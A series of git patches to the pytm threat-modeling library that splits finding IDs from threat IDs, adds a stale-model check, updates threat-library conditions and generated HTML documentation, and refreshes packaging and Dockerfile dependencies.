-    id = varString(&#34;&#34;, required=True, doc=&#34;Threat ID&#34;)
+    id = varInt(&#34;&#34;, required=True, doc=&#34;Finding ID&#34;)
+    threat_id = varString(&#34;&#34;, required=True, doc=&#34;Threat ID&#34;)
     references = varString(&#34;&#34;, required=True, doc=&#34;Threat references&#34;)
+    condition = varString(&#34;&#34;, required=True, doc=&#34;Threat condition&#34;)
     response = varString(
         &#34;&#34;,
         required=False,
@@ -2123,18 +2176,19 @@ <h3>Instance variables</h3>
             &#34;severity&#34;,
             &#34;mitigations&#34;,
             &#34;example&#34;,
-            &#34;id&#34;,
             &#34;references&#34;,
+            &#34;condition&#34;,
         ]
         threat = kwargs.pop(&#34;threat&#34;, None)
         if threat:
+            kwargs[&#34;threat_id&#34;] = getattr(threat, &#34;id&#34;)
             for a in attrs:
                 # copy threat attrs into kwargs to allow to override them in next step
                 kwargs[a] = getattr(threat, a)
 
-        threat_id = kwargs.get(&#34;id&#34;, None)
+        threat_id = kwargs.get(&#34;threat_id&#34;, None)
         for f in element.overrides:
-            if f.id != threat_id:
+            if f.threat_id != threat_id:
                 continue
             for i in dir(f.__class__):
                 attr = getattr(f.__class__, i)
@@ -2152,6 +2206,12 @@ <h3>Instance variables</h3>
         for k, v in kwargs.items():
             setattr(self, k, v)
 
+    def _safeset(self, attr, value):
+        try:
+            setattr(self, attr, value)
+        except ValueError:
+            pass
+
     def __repr__(self):
         return &#34;&lt;{0}.{1}({2}) at {3}&gt;&#34;.format(
             self.__module__, type(self).__name__, self.id, hex(id(self))
@@ -2162,6 +2222,22 @@ <h3>Instance variables</h3>
 </details>
 <h3>Instance variables</h3>
 <dl>
+<dt id="pytm.Finding.condition"><code class="name">var <span class="ident">condition</span></code></dt>
+<dd>
+<div class="desc"><p>Threat condition</p></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+    # when x.d is called we get here
+    # instance = x
+    # owner = type(x)
+    if instance is None:
+        return self
+    return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
 <dt id="pytm.Finding.cvss"><code class="name">var <span class="ident">cvss</span></code></dt>
 <dd>
 <div class="desc"><p>The CVSS score and/or vector</p></div>
@@ -2244,7 +2320,7 @@ <h3>Instance variables</h3>
 </dd>
 <dt id="pytm.Finding.id"><code class="name">var <span class="ident">id</span></code></dt>
 <dd>
-<div class="desc"><p>Threat ID</p></div>
+<div class="desc"><p>Finding ID</p></div>
 <details class="source">
 <summary>
 <span>Expand source code</span>
@@ -2343,6 +2419,22 @@ <h3>Instance variables</h3>
     return self.data.get(instance, self.default)</code></pre>
 </details>
 </dd>
+<dt id="pytm.Finding.threat_id"><code class="name">var <span class="ident">threat_id</span></code></dt>
+<dd>
+<div class="desc"><p>Threat ID</p></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+    # when x.d is called we get here
+    # instance = x
+    # owner = type(x)
+    if instance is None:
+        return self
+    return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
 </dl>
 </dd>
 <dt id="pytm.Lambda"><code class="flex name class">
@@ -2368,9 +2460,7 @@ <h3>Instance variables</h3>
     def _dfd_template(self):
         return &#34;&#34;&#34;{uniq_name} [
     shape = {shape};
-    fixedsize = shape;
-    image = &#34;{image}&#34;;
-    imagescale = true;
+
     color = {color};
     fontcolor = {color};
     label = &lt;
@@ -2393,11 +2483,10 @@ <h3>Instance variables</h3>
             label=self._label(),
             color=self._color(),
             shape=self._shape(),
-            image=os.path.join(os.path.dirname(__file__), &#34;images&#34;, &#34;lambda.png&#34;),
         )
 
     def _shape(self):
-        return &#34;none&#34;</code></pre>
+        return &#34;rectangle; style=rounded&#34;</code></pre>
 </details>
 <h3>Ancestors</h3>
 <ul class="hlist">
@@ -3435,6 +3524,8 @@ <h3>Class variables</h3>
 
     _flows = []
     _elements = []
+    _actors = []
+    _assets = []
     _threats = []
     _boundaries = []
     _data = []
@@ -3471,6 +3562,8 @@ <h3>Class variables</h3>
     def reset(cls):
         cls._flows = []
         cls._elements = []
+        cls._actors = []
+        cls._assets = []
         cls._threats = []
         cls._boundaries = []
         cls._data = []
@@ -3487,24 +3580,29 @@ <h3>Class variables</h3>
             TM._threats.append(Threat(**i))
 
     def resolve(self):
+        finding_count = 0
         findings = []
         elements = defaultdict(list)
         for e in TM._elements:
             if not e.inScope:
                 continue
 
-            override_ids = set(f.id for f in e.overrides)
+            override_ids = set(f.threat_id for f in e.overrides)
             # if element is a dataflow filter out overrides from source and sink
             # because they will be always applied there anyway
             try:
-                override_ids -= set(f.id for f in e.source.overrides + e.sink.overrides)
+                override_ids -= set(
+                    f.threat_id for f in e.source.overrides + e.sink.overrides
+                )
             except AttributeError:
                 pass
 
             for t in TM._threats:
                 if not t.apply(e) and t.id not in override_ids:
                     continue
-                f = Finding(e, threat=t)
+
+                finding_count += 1
+                f = Finding(e, id=finding_count, threat=t)
                 findings.append(f)
                 elements[e].append(f)
         self.findings = findings
@@ -3525,7 +3623,7 @@ <h3>Class variables</h3>
         _apply_defaults(TM._flows, TM._data)
 
         for e in TM._elements:
-            top = Counter(f.id for f in e.overrides).most_common(1)
+            top = Counter(f.threat_id for f in e.overrides).most_common(1)
             if not top:
                 continue
             threat_id, count = top[0]
@@ -3686,15 +3784,21 @@ <h3>Class variables</h3>
         with open(template_path) as file:
             template = file.read()
 
+        threats = encode_threat_data(TM._threats)
+        findings = encode_threat_data(self.findings)
+
         data = {
             &#34;tm&#34;: self,
             &#34;dataflows&#34;: TM._flows,
-            &#34;threats&#34;: TM._threats,
-            &#34;findings&#34;: self.findings,
+            &#34;threats&#34;: threats,
+            &#34;findings&#34;: findings,
             &#34;elements&#34;: TM._elements,
+            &#34;assets&#34;: TM._assets,
+            &#34;actors&#34;: TM._actors,
             &#34;boundaries&#34;: TM._boundaries,
             &#34;data&#34;: TM._data,
         }
+
         return self._sf.format(template, **data)
 
     def process(self):
@@ -3715,6 +3819,7 @@ <h3>Class variables</h3>
             result.report is not None
             or result.json is not None
             or result.sqldump is not None
+            or result.stale_days is not None
         ):
             self.resolve()
 
@@ -3737,6 +3842,50 @@ <h3>Class variables</h3>
         if result.list is True:
             [print(&#34;{} - {}&#34;.format(t.id, t.description)) for t in TM._threats]
 
+        if result.stale_days is not None:
+            print(self._stale(result.stale_days))
+
+    def _stale(self, days):
+        try:
+            base_path = os.path.dirname(sys.argv[0])
+            tm_mtime = datetime.fromtimestamp(
+                os.stat(base_path + f&#34;/{sys.argv[0]}&#34;).st_mtime
+            )
+        except os.error as err:
+            sys.stderr.write(f&#34;{sys.argv[0]} - {err}\n&#34;)
+            sys.stderr.flush()
+            return &#34;[ERROR]&#34;
+
+        print(f&#34;Checking for code {days} days older than this model.&#34;)
+
+        for e in TM._elements:
+
+            for src in e.sourceFiles:
+                try:
+                    src_mtime = datetime.fromtimestamp(
+                        os.stat(base_path + f&#34;/{src}&#34;).st_mtime
+                    )
+                except os.error as err:
+                    sys.stderr.write(f&#34;{sys.argv[0]} - {err}\n&#34;)
+                    sys.stderr.flush()
+                    continue
+
+                age = (src_mtime - tm_mtime).days
+
+                # source code is older than model by more than the speficied delta
+                if (age) &gt;= days:
+                    print(f&#34;This model is {age} days older than {base_path}/{src}.&#34;)
+                elif age &lt;= -days:
+                    print(
+                        f&#34;Model script {sys.argv[0]}&#34;
+                        + &#34; is only &#34;
+                        + str(-1 * age)
+                        + &#34; days newer than source code file &#34;
+                        + f&#34;{base_path}/{src}&#34;
+                    )
+
+        return &#34;&#34;
+
     def sqlDump(self, filename):
         try:
             rmtree(&#34;./sqldump&#34;)
@@ -3772,7 +3921,7 @@ <h3>Class variables</h3>
             for k, v in serialize(e).items():
                 if k == &#34;id&#34;:
                     k = &#34;SID&#34;
-                row[k] = &#34;, &#34;.join(v) if isinstance(v, list) else v
+                row[k] = &#34;, &#34;.join(str(i) for i in v) if isinstance(v, list) else v
             db[table].bulk_insert([row])
 
         db.close()
@@ -3802,6 +3951,8 @@ <h3>Static methods</h3>
 def reset(cls):
     cls._flows = []
     cls._elements = []
+    cls._actors = []
+    cls._assets = []
     cls._threats = []
     cls._boundaries = []
     cls._data = []</code></pre>
@@ -3989,6 +4140,7 @@ <h3>Methods</h3>
         result.report is not None
         or result.json is not None
         or result.sqldump is not None
+        or result.stale_days is not None
     ):
         self.resolve()
 
@@ -4009,7 +4161,10 @@ <h3>Methods</h3>
         _describe_classes(result.describe.split())
 
     if result.list is True:
-        [print(&#34;{} - {}&#34;.format(t.id, t.description)) for t in TM._threats]</code></pre>
+        [print(&#34;{} - {}&#34;.format(t.id, t.description)) for t in TM._threats]
+
+    if result.stale_days is not None:
+        print(self._stale(result.stale_days))</code></pre>
 </details>
 </dd>
 <dt id="pytm.TM.report"><code class="name flex">
@@ -4025,15 +4180,21 @@ <h3>Methods</h3>
     with open(template_path) as file:
         template = file.read()
 
+    threats = encode_threat_data(TM._threats)
+    findings = encode_threat_data(self.findings)
+
     data = {
         &#34;tm&#34;: self,
         &#34;dataflows&#34;: TM._flows,
-        &#34;threats&#34;: TM._threats,
-        &#34;findings&#34;: self.findings,
+        &#34;threats&#34;: threats,
+        &#34;findings&#34;: findings,
         &#34;elements&#34;: TM._elements,
+        &#34;assets&#34;: TM._assets,
+        &#34;actors&#34;: TM._actors,
         &#34;boundaries&#34;: TM._boundaries,
         &#34;data&#34;: TM._data,
     }
+
     return self._sf.format(template, **data)</code></pre>
 </details>
 </dd>
@@ -4047,24 +4208,29 @@ <h3>Methods</h3>
 <span>Expand source code</span>
 </summary>
 <pre><code class="python">def resolve(self):
+    finding_count = 0
     findings = []
     elements = defaultdict(list)
     for e in TM._elements:
         if not e.inScope:
             continue
 
-        override_ids = set(f.id for f in e.overrides)
+        override_ids = set(f.threat_id for f in e.overrides)
         # if element is a dataflow filter out overrides from source and sink
         # because they will be always applied there anyway
         try:
-            override_ids -= set(f.id for f in e.source.overrides + e.sink.overrides)
+            override_ids -= set(
+                f.threat_id for f in e.source.overrides + e.sink.overrides
+            )
         except AttributeError:
             pass
 
         for t in TM._threats:
             if not t.apply(e) and t.id not in override_ids:
                 continue
-            f = Finding(e, threat=t)
+
+            finding_count += 1
+            f = Finding(e, id=finding_count, threat=t)
             findings.append(f)
             elements[e].append(f)
     self.findings = findings
@@ -4116,7 +4282,7 @@ <h3>Methods</h3>
         for k, v in serialize(e).items():
             if k == &#34;id&#34;:
                 k = &#34;SID&#34;
-            row[k] = &#34;, &#34;.join(v) if isinstance(v, list) else v
+            row[k] = &#34;, &#34;.join(str(i) for i in v) if isinstance(v, list) else v
         db[table].bulk_insert([row])
 
     db.close()</code></pre>
@@ -4167,6 +4333,12 @@ <h3>Methods</h3>
         self.example = kwargs.get(&#34;example&#34;, &#34;&#34;)
         self.references = kwargs.get(&#34;references&#34;, &#34;&#34;)
 
+    def _safeset(self, attr, value):
+        try:
+            setattr(self, attr, value)
+        except ValueError:
+            pass
+
     def __repr__(self):
         return &#34;&lt;{0}.{1}({2}) at {3}&gt;&#34;.format(
             self.__module__, type(self).__name__, self.id, hex(id(self))
@@ -4401,6 +4573,7 @@ <h4><code><a title="pytm.Data" href="#pytm.Data">Data</a></code></h4>
 <li><code><a title="pytm.Data.classification" href="#pytm.Data.classification">classification</a></code></li>
 <li><code><a title="pytm.Data.credentialsLife" href="#pytm.Data.credentialsLife">credentialsLife</a></code></li>
 <li><code><a title="pytm.Data.description" href="#pytm.Data.description">description</a></code></li>
+<li><code><a title="pytm.Data.format" href="#pytm.Data.format">format</a></code></li>
 <li><code><a title="pytm.Data.isCredentials" href="#pytm.Data.isCredentials">isCredentials</a></code></li>
 <li><code><a title="pytm.Data.isDestEncryptedAtRest" href="#pytm.Data.isDestEncryptedAtRest">isDestEncryptedAtRest</a></code></li>
 <li><code><a title="pytm.Data.isPII" href="#pytm.Data.isPII">isPII</a></code></li>
@@ -4477,6 +4650,7 @@ <h4><code><a title="pytm.Element" href="#pytm.Element">Element</a></code></h4>
 <li><code><a title="pytm.Element.name" href="#pytm.Element.name">name</a></code></li>
 <li><code><a title="pytm.Element.oneOf" href="#pytm.Element.oneOf">oneOf</a></code></li>
 <li><code><a title="pytm.Element.overrides" href="#pytm.Element.overrides">overrides</a></code></li>
+<li><code><a title="pytm.Element.sourceFiles" href="#pytm.Element.sourceFiles">sourceFiles</a></code></li>
 </ul>
 </li>
 <li>
@@ -4488,6 +4662,7 @@ <h4><code><a title="pytm.ExternalEntity" href="#pytm.ExternalEntity">ExternalEnt
 <li>
 <h4><code><a title="pytm.Finding" href="#pytm.Finding">Finding</a></code></h4>
 <ul class="two-column">
+<li><code><a title="pytm.Finding.condition" href="#pytm.Finding.condition">condition</a></code></li>
 <li><code><a title="pytm.Finding.cvss" href="#pytm.Finding.cvss">cvss</a></code></li>
 <li><code><a title="pytm.Finding.description" href="#pytm.Finding.description">description</a></code></li>
 <li><code><a title="pytm.Finding.details" href="#pytm.Finding.details">details</a></code></li>
@@ -4499,6 +4674,7 @@ <h4><code><a title="pytm.Finding" href="#pytm.Finding">Finding</a></code></h4>
 <li><code><a title="pytm.Finding.response" href="#pytm.Finding.response">response</a></code></li>
 <li><code><a title="pytm.Finding.severity" href="#pytm.Finding.severity">severity</a></code></li>
 <li><code><a title="pytm.Finding.target" href="#pytm.Finding.target">target</a></code></li>
+<li><code><a title="pytm.Finding.threat_id" href="#pytm.Finding.threat_id">threat_id</a></code></li>
 </ul>
 </li>
 <li>
diff --git a/docs/threats.md b/docs/threats.md
index cbf91cf7..33853d0c 100644
--- a/docs/threats.md
+++ b/docs/threats.md
@@ -228,7 +228,7 @@ An attacker targets a system that uses JavaScript Object Notation (JSON) as a tr
   <dd>https://capec.mitre.org/data/definitions/111.html, http://cwe.mitre.org/data/definitions/345.html, http://cwe.mitre.org/data/definitions/346.html, http://cwe.mitre.org/data/definitions/352.html</dd>
 
   <dt>Condition</dt>
-  <dd>target.implementsNonce is False and target.data =='JSON'</dd>
+  <dd>target.implementsNonce is False and any(d.format == 'JSON' for d in target.data)</dd>
 </dl>
 
 
@@ -748,7 +748,7 @@ An adversary corrupts or modifies the content of XML schema information passed b
   <dd>https://capec.mitre.org/data/definitions/146.html, http://cwe.mitre.org/data/definitions/15.html, http://cwe.mitre.org/data/definitions/472.html</dd>
 
   <dt>Condition</dt>
-  <dd>target.data == 'XML' and target.authorizesSource is False</dd>
+  <dd>any(d.format == 'XML' for d in target.data) and target.authorizesSource is False</dd>
 </dl>
 
 
@@ -774,7 +774,7 @@ An attacker initiates a resource depletion attack where a large number of small
   <dd>https://capec.mitre.org/data/definitions/147.html, http://cwe.mitre.org/data/definitions/400.html, http://cwe.mitre.org/data/definitions/770.html</dd>
 
   <dt>Condition</dt>
-  <dd>target.data == 'XML'</dd>
+  <dd>any(d.format == 'XML' for d in target.data)</dd>
 </dl>
 
 
@@ -1268,7 +1268,7 @@ An attacker submits an XML document to a target application where the XML docume
   <dd>https://capec.mitre.org/data/definitions/197.html, http://cwe.mitre.org/data/definitions/400.html, http://cwe.mitre.org/data/definitions/770.html</dd>
 
   <dt>Condition</dt>
-  <dd>target.data == 'XML' and target.handlesResources is False</dd>
+  <dd>any(d.format == 'XML' for d in target.data) and target.handlesResources is False</dd>
 </dl>
 
 
@@ -1606,7 +1606,7 @@ An attacker subverts an intermediate system used to process XML content and forc
   <dd>https://capec.mitre.org/data/definitions/219.html</dd>
 
   <dt>Condition</dt>
-  <dd>target.protocol == 'HTTP' and target.data =='XML'</dd>
+  <dd>target.protocol == 'HTTP' and any(d.format == 'XML' for d in target.data)</dd>
 </dl>
 
 
@@ -2620,7 +2620,7 @@ An attacker can access data in transit or at rest that is not sufficiently prote
   <dd>https://cwe.mitre.org/data/definitions/311.html, https://cwe.mitre.org/data/definitions/312.html, https://cwe.mitre.org/data/definitions/916.html, https://cwe.mitre.org/data/definitions/653.html</dd>
 
   <dt>Condition</dt>
-  <dd>target.hasDataLeaks</dd>
+  <dd>target.hasDataLeaks()</dd>
 </dl>
 
 

From cf1e31955371ae6803e01ee4c9679bff96cf4980 Mon Sep 17 00:00:00 2001
From: Jan Was <jan@was.net.pl>
Date: Tue, 13 Apr 2021 19:57:35 +0000
Subject: [PATCH 08/86] Revert "bugfix, added Finding.target to report output."

This reverts commit 7d60b614525eaa90c94d345a11bc0366b2e16a39.
---
 pytm/pytm.py | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pytm/pytm.py b/pytm/pytm.py
index 9158b03f..35c961f1 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -38,7 +38,7 @@
 
 
 class var(object):
-    """ A descriptor that allows setting a value only once """
+    """A descriptor that allows setting a value only once"""
 
     def __init__(self, default, required=False, doc="", onSet=None):
         self.default = default
@@ -1128,7 +1128,7 @@ def __str__(self):
         return "{0}({1})".format(type(self).__name__, self.name)
 
     def _uniq_name(self):
-        """ transform name and uuid into a unique string """
+        """transform name and uuid into a unique string"""
         h = sha224(str(self.uuid).encode("utf-8")).hexdigest()
         name = "".join(x for x in self.name if x.isalpha())
         return "{0}_{1}_{2}".format(type(self).__name__.lower(), name, h[:10])
@@ -1182,7 +1182,7 @@ def _safeset(self, attr, value):
             pass
 
     def oneOf(self, *elements):
-        """ Is self one of a list of Elements """
+        """Is self one of a list of Elements"""
         for element in elements:
             if inspect.isclass(element):
                 if isinstance(self, element):
@@ -1192,7 +1192,7 @@ def oneOf(self, *elements):
         return False
 
     def crosses(self, *boundaries):
-        """ Does self (dataflow) cross any of the list of boundaries """
+        """Does self (dataflow) cross any of the list of boundaries"""
         if self.source.inBoundary is self.sink.inBoundary:
             return False
         for boundary in boundaries:
@@ -1216,15 +1216,15 @@ def crosses(self, *boundaries):
         return False
 
     def enters(self, *boundaries):
-        """ does self (dataflow) enter into one of the list of boundaries """
+        """does self (dataflow) enter into one of the list of boundaries"""
         return self.source.inBoundary is None and self.sink.inside(*boundaries)
 
     def exits(self, *boundaries):
-        """ does self (dataflow) exit one of the list of boundaries """
+        """does self (dataflow) exit one of the list of boundaries"""
         return self.source.inside(*boundaries) and self.sink.inBoundary is None
 
     def inside(self, *boundaries):
-        """ is self inside of one of the list of boundaries """
+        """is self inside of one of the list of boundaries"""
         for boundary in boundaries:
             if inspect.isclass(boundary):
                 if isinstance(self.inBoundary, boundary):

From 5262a4a031a6d816b1df6297d553bff14f01bf9c Mon Sep 17 00:00:00 2001
From: Jan Was <jan@was.net.pl>
Date: Tue, 13 Apr 2021 19:59:29 +0000
Subject: [PATCH 09/86] Finding.id should be a str

---
 pytm/pytm.py | 24 ++++++++++--------------
 1 file changed, 10 insertions(+), 14 deletions(-)

diff --git a/pytm/pytm.py b/pytm/pytm.py
index 35c961f1..922dcba6 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -582,7 +582,7 @@ class Finding:
     severity = varString("", required=True, doc="Threat severity")
     mitigations = varString("", required=True, doc="Threat mitigations")
     example = varString("", required=True, doc="Threat example")
-    id = varInt("", required=True, doc="Finding ID")
+    id = varString("", required=True, doc="Finding ID")
     threat_id = varString("", required=True, doc="Threat ID")
     references = varString("", required=True, doc="Threat references")
     condition = varString("", required=True, doc="Threat condition")
@@ -746,7 +746,7 @@ def resolve(self):
                     continue
 
                 finding_count += 1
-                f = Finding(e, id=finding_count, threat=t)
+                f = Finding(e, id=str(finding_count), threat=t)
                 findings.append(f)
                 elements[e].append(f)
         self.findings = findings
@@ -1819,7 +1819,7 @@ def encode_threat_data(obj):
         "mitigations",
         "example",
         "id",
-        "target",
+        "threat_id",
         "references",
         "condition",
     ]
@@ -1827,18 +1827,14 @@ def encode_threat_data(obj):
     for e in obj:
         t = copy.deepcopy(e)
 
-        if isinstance(t, Finding):
-            attrs.append("threat_id")
-
         for a in attrs:
-            v = getattr(e, a)
-
-            if isinstance(v, int):
-                t._safeset(a, v)
-            elif isinstance(v, tuple):
-                t._safeset(a, v)
-            else:
-                t._safeset(a, html.escape(v))
+            try:
+                v = getattr(e, a)
+            except AttributeError:
+                # ignore missing attributes, since this can be called
+                # on both a Finding and a Threat
+                continue
+            setattr(t, a, html.escape(v))
 
         encoded_threat_data.append(t)
 

From deb9c82e2a82bff8f521a4d4509b9f0470c688dd Mon Sep 17 00:00:00 2001
From: Raphael Ahrens <raphael.ahrens@fit.fraunhofer.de>
Date: Thu, 6 May 2021 16:37:41 +0200
Subject: [PATCH 10/86] Added datastore.png to setup.py

datstore.png was not part of the `package_data` field so it was not
installed.
---
 setup.py | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/setup.py b/setup.py
index c28599a3..5296daa0 100644
--- a/setup.py
+++ b/setup.py
@@ -27,7 +27,11 @@
     python_requires=">=3",
     install_requires=["pydal>=20200714.1"],
     package_data={
-        "pytm": ["images/lambda.png", "threatlib/threats.json"],
+        "pytm": [
+            "images/datastore.png",
+            "images/lambda.png",
+            "threatlib/threats.json",
+            ],
     },
     exclude_package_data={"": ["report.html"]},
     include_package_data=True,

From 7ecf1eaecfe6a263c47a53698aadec6709681aac Mon Sep 17 00:00:00 2001
From: Jan Was <jan@was.net.pl>
Date: Thu, 3 Jun 2021 18:34:08 +0000
Subject: [PATCH 11/86] Add missing dependencies in Dockerfile

---
 Dockerfile           | 12 +++++++-----
 docs/pytm/index.html | 28 ++++++++++++++--------------
 2 files changed, 21 insertions(+), 19 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index b4976ac6..3129bf3e 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,13 +1,14 @@
-FROM python:3.8.6-alpine3.12
+FROM python:3.9.5-alpine3.13
 
 WORKDIR /usr/src/app
 ENTRYPOINT ["sh"]
 
-ENV PLANTUML_VER 1.2020.18
+ENV PLANTUML_VER 1.2021.7
 ENV PLANTUML_PATH /usr/local/lib/plantuml.jar
-ENV PANDOC_VER 2.10.1
+ENV PANDOC_VER 2.14.0.1
 
 RUN apk add --no-cache graphviz openjdk11-jre fontconfig make curl ttf-liberation ttf-linux-libertine ttf-dejavu \
+    && apk add --no-cache --virtual .build-deps gcc musl-dev \
     && rm -rf /var/cache/apk/* \
     && curl -LO https://netix.dl.sourceforge.net/project/plantuml/$PLANTUML_VER/plantuml.$PLANTUML_VER.jar \
     && mv plantuml.$PLANTUML_VER.jar $PLANTUML_PATH \
@@ -17,8 +18,9 @@ RUN apk add --no-cache graphviz openjdk11-jre fontconfig make curl ttf-liberatio
 ENV _JAVA_OPTIONS -Duser.home=/tmp -Dawt.useSystemAAFontSettings=gasp
 RUN printf '@startuml\n@enduml' | java -Djava.awt.headless=true -jar $PLANTUML_PATH -tpng -pipe >/dev/null
 
-COPY requirements.txt ./
-RUN pip install --no-cache-dir -r requirements.txt
+COPY requirements.txt requirements-dev.txt ./
+RUN pip install --no-cache-dir -r requirements-dev.txt \
+    && apk del .build-deps
 
 COPY pytm ./pytm
 COPY docs ./docs
diff --git a/docs/pytm/index.html b/docs/pytm/index.html
index f54328a8..30cb0a55 100644
--- a/docs/pytm/index.html
+++ b/docs/pytm/index.html
@@ -1653,7 +1653,7 @@ <h3>Instance variables</h3>
         return &#34;{0}({1})&#34;.format(type(self).__name__, self.name)
 
     def _uniq_name(self):
-        &#34;&#34;&#34; transform name and uuid into a unique string &#34;&#34;&#34;
+        &#34;&#34;&#34;transform name and uuid into a unique string&#34;&#34;&#34;
         h = sha224(str(self.uuid).encode(&#34;utf-8&#34;)).hexdigest()
         name = &#34;&#34;.join(x for x in self.name if x.isalpha())
         return &#34;{0}_{1}_{2}&#34;.format(type(self).__name__.lower(), name, h[:10])
@@ -1707,7 +1707,7 @@ <h3>Instance variables</h3>
             pass
 
     def oneOf(self, *elements):
-        &#34;&#34;&#34; Is self one of a list of Elements &#34;&#34;&#34;
+        &#34;&#34;&#34;Is self one of a list of Elements&#34;&#34;&#34;
         for element in elements:
             if inspect.isclass(element):
                 if isinstance(self, element):
@@ -1717,7 +1717,7 @@ <h3>Instance variables</h3>
         return False
 
     def crosses(self, *boundaries):
-        &#34;&#34;&#34; Does self (dataflow) cross any of the list of boundaries &#34;&#34;&#34;
+        &#34;&#34;&#34;Does self (dataflow) cross any of the list of boundaries&#34;&#34;&#34;
         if self.source.inBoundary is self.sink.inBoundary:
             return False
         for boundary in boundaries:
@@ -1741,15 +1741,15 @@ <h3>Instance variables</h3>
         return False
 
     def enters(self, *boundaries):
-        &#34;&#34;&#34; does self (dataflow) enter into one of the list of boundaries &#34;&#34;&#34;
+        &#34;&#34;&#34;does self (dataflow) enter into one of the list of boundaries&#34;&#34;&#34;
         return self.source.inBoundary is None and self.sink.inside(*boundaries)
 
     def exits(self, *boundaries):
-        &#34;&#34;&#34; does self (dataflow) exit one of the list of boundaries &#34;&#34;&#34;
+        &#34;&#34;&#34;does self (dataflow) exit one of the list of boundaries&#34;&#34;&#34;
         return self.source.inside(*boundaries) and self.sink.inBoundary is None
 
     def inside(self, *boundaries):
-        &#34;&#34;&#34; is self inside of one of the list of boundaries &#34;&#34;&#34;
+        &#34;&#34;&#34;is self inside of one of the list of boundaries&#34;&#34;&#34;
         for boundary in boundaries:
             if inspect.isclass(boundary):
                 if isinstance(self.inBoundary, boundary):
@@ -1971,7 +1971,7 @@ <h3>Methods</h3>
 <span>Expand source code</span>
 </summary>
 <pre><code class="python">def crosses(self, *boundaries):
-    &#34;&#34;&#34; Does self (dataflow) cross any of the list of boundaries &#34;&#34;&#34;
+    &#34;&#34;&#34;Does self (dataflow) cross any of the list of boundaries&#34;&#34;&#34;
     if self.source.inBoundary is self.sink.inBoundary:
         return False
     for boundary in boundaries:
@@ -2018,7 +2018,7 @@ <h3>Methods</h3>
 <span>Expand source code</span>
 </summary>
 <pre><code class="python">def enters(self, *boundaries):
-    &#34;&#34;&#34; does self (dataflow) enter into one of the list of boundaries &#34;&#34;&#34;
+    &#34;&#34;&#34;does self (dataflow) enter into one of the list of boundaries&#34;&#34;&#34;
     return self.source.inBoundary is None and self.sink.inside(*boundaries)</code></pre>
 </details>
 </dd>
@@ -2032,7 +2032,7 @@ <h3>Methods</h3>
 <span>Expand source code</span>
 </summary>
 <pre><code class="python">def exits(self, *boundaries):
-    &#34;&#34;&#34; does self (dataflow) exit one of the list of boundaries &#34;&#34;&#34;
+    &#34;&#34;&#34;does self (dataflow) exit one of the list of boundaries&#34;&#34;&#34;
     return self.source.inside(*boundaries) and self.sink.inBoundary is None</code></pre>
 </details>
 </dd>
@@ -2046,7 +2046,7 @@ <h3>Methods</h3>
 <span>Expand source code</span>
 </summary>
 <pre><code class="python">def inside(self, *boundaries):
-    &#34;&#34;&#34; is self inside of one of the list of boundaries &#34;&#34;&#34;
+    &#34;&#34;&#34;is self inside of one of the list of boundaries&#34;&#34;&#34;
     for boundary in boundaries:
         if inspect.isclass(boundary):
             if isinstance(self.inBoundary, boundary):
@@ -2066,7 +2066,7 @@ <h3>Methods</h3>
 <span>Expand source code</span>
 </summary>
 <pre><code class="python">def oneOf(self, *elements):
-    &#34;&#34;&#34; Is self one of a list of Elements &#34;&#34;&#34;
+    &#34;&#34;&#34;Is self one of a list of Elements&#34;&#34;&#34;
     for element in elements:
         if inspect.isclass(element):
             if isinstance(self, element):
@@ -2141,7 +2141,7 @@ <h3>Instance variables</h3>
     severity = varString(&#34;&#34;, required=True, doc=&#34;Threat severity&#34;)
     mitigations = varString(&#34;&#34;, required=True, doc=&#34;Threat mitigations&#34;)
     example = varString(&#34;&#34;, required=True, doc=&#34;Threat example&#34;)
-    id = varInt(&#34;&#34;, required=True, doc=&#34;Finding ID&#34;)
+    id = varString(&#34;&#34;, required=True, doc=&#34;Finding ID&#34;)
     threat_id = varString(&#34;&#34;, required=True, doc=&#34;Threat ID&#34;)
     references = varString(&#34;&#34;, required=True, doc=&#34;Threat references&#34;)
     condition = varString(&#34;&#34;, required=True, doc=&#34;Threat condition&#34;)
@@ -3602,7 +3602,7 @@ <h3>Class variables</h3>
                     continue
 
                 finding_count += 1
-                f = Finding(e, id=finding_count, threat=t)
+                f = Finding(e, id=str(finding_count), threat=t)
                 findings.append(f)
                 elements[e].append(f)
         self.findings = findings
@@ -4230,7 +4230,7 @@ <h3>Methods</h3>
                 continue
 
             finding_count += 1
-            f = Finding(e, id=finding_count, threat=t)
+            f = Finding(e, id=str(finding_count), threat=t)
             findings.append(f)
             elements[e].append(f)
     self.findings = findings

From 808c83d4f182d9b0bb1bb547e6692b0ca290a65a Mon Sep 17 00:00:00 2001
From: Izar Tarandach <itarandach@squarespace.com>
Date: Wed, 4 Aug 2021 13:12:18 -0400
Subject: [PATCH 12/86] Fixed a serialization issue with sourceFiles and
 removed bad example from tm.py

---
 pytm/pytm.py |  2 ++
 tm.py        | 21 ++++++++++++++-------
 2 files changed, 16 insertions(+), 7 deletions(-)

diff --git a/pytm/pytm.py b/pytm/pytm.py
index 922dcba6..f57ffa02 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -1798,6 +1798,8 @@ def serialize(obj, nested=False):
                 value = [v.__name__ for v in value]
             elif i == "levels":
                 value = list(value)
+            elif i == "sourceFiles":
+                value = ",".join(value)
             elif (
                 not nested
                 and not isinstance(value, str)
diff --git a/tm.py b/tm.py
index 5546e677..8c598640 100755
--- a/tm.py
+++ b/tm.py
@@ -58,7 +58,9 @@
 my_lambda.inBoundary = vpc
 my_lambda.levels = [1, 2]
 
-token_user_identity = Data("Token verifying user identity", classification=Classification.SECRET)
+token_user_identity = Data(
+    "Token verifying user identity", classification=Classification.SECRET
+)
 db_to_secretDb = Dataflow(db, secretDb, "Database verify real user identity")
 db_to_secretDb.protocol = "RDA-TCP"
